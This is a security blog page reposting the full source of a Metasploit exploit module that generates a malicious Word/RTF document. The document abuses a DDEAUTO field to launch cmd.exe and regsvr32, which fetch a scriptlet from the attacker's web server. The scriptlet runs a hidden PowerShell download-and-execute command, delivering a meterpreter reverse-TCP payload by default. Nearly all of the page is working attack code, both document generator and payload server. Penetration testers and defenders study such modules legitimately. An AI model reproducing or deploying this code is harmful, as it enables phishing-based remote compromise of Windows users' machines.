Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86375253

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule  < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE

  def initialize(info  = {})
    super(update_info(info,
      'Name' => 'Microsoft Office DDE Payload Delivery',
      'Description' => %q{
        This module generates an DDE command to place within
        a word document, that when executed, will retrieve a HTA payload
        via HTTP from an web server.
      },
      'Author' => 'mumbai',
      'License' => MSF_LICENSE,
      'DisclosureDate' => 'Oct 9 2017',
      'References' => [
        ['URL', 'https://gist.github.com/xillwillx/171c24c8e23512a891910824f506f563'],
        ['URL', 'https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/']
      ],
      'Arch' => [ARCH_X86, ARCH_X64],
      'Platform' => 'win',
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Targets' =>
        [
          ['Microsoft Office', {} ],
        ],
      'DefaultTarget' => 0,
      'Payload' => {
        'DisableNops' => true
      },
      'DefaultOptions' => {
        'DisablePayloadHandler' => false,
        'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
        'EXITFUNC' => 'thread'
      }
    ))
    register_options([
      OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"]),
      OptPath.new("INJECT_PATH", [false, "Path to file to inject", nil])
    ])
  end

  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
    else
      # Random filename to use, if there isn't anything set
      random = "#{rand_text_alphanumeric 8}.exe"
      # Set filename (Use random filename if empty)
      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

      # Set path (Use %TEMP% if empty)
      path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

      # Join Path and Filename
      file = %Q(echo (#{path}+'\\#{filename}'))

      # Generate download PowerShell command
      download_string = Rex::Powershell::PshMethods.download_run(url, file)
    end

    download_and_run = "#{ignore_cert}#{download_string}"

    # Generate main PowerShell command
    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def on_request_uri(cli, _request)
    if _request.raw_uri =~ /\.sct$/
      print_status("Handling request for .sct from #{cli.peerhost}")
      payload = gen_psh("#{get_uri}", "string")
      data = gen_sct_file(payload)
      send_response(cli, data, 'Content-Type' => 'text/plain')
    else
      print_status("Delivering payload to #{cli.peerhost}...")
      p = regenerate_payload(cli)
      data = cmd_psh_payload(p.encoded,
                       payload_instance.arch.first,
                       remove_comspec: true,
                       exec_in_place: true
      )
      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
    end
  end


  def rand_class_id
    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
  end


  def gen_sct_file(command)
    # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
    if command == ''
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
    # If a command is provided, tell the target system to execute it.
    else
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
    end
  end

  def retrieve_header(filename)
    if (not datastore['INJECT_PATH'].nil?)
      path = "#{datastore['INJECT_PATH']}"
    else
      path = nil
    end
    if (not path.nil?)
      if ::File.file?(path)
        ::File.open(path, 'rb') do |fd|
          header = fd.read(fd.stat.size).split('{\*\datastore').first
          header = header.to_s
          print_status("Injecting #{path}...")
          return header
        end
      else
        header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
        header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
        header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
      end
    else
      header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
      header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
      header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9' + "\n"
    end
    return header
  end

  def create_rtf
    #
    header = retrieve_header(datastore['FILENAME'])
    field_class = '{\field{\*\fldinst {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid3807165  '
    field_class << "DDEAUTO C:\\\\\\\\Programs\\\\\\\\Microsoft\\\\\\\\Office\\\\\\\\MSword.exe\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe \"/c regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll\" }}"
    field_class << '{\fldrslt }}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0' + "\n"
    field_class << '\insrsid5790315' + "\n"
    field_class << '\par }'
    footer =  '}}' # footer
    rtf = header + field_class + footer
    rtf
  end

  def primer
    file_create(create_rtf)
  end
end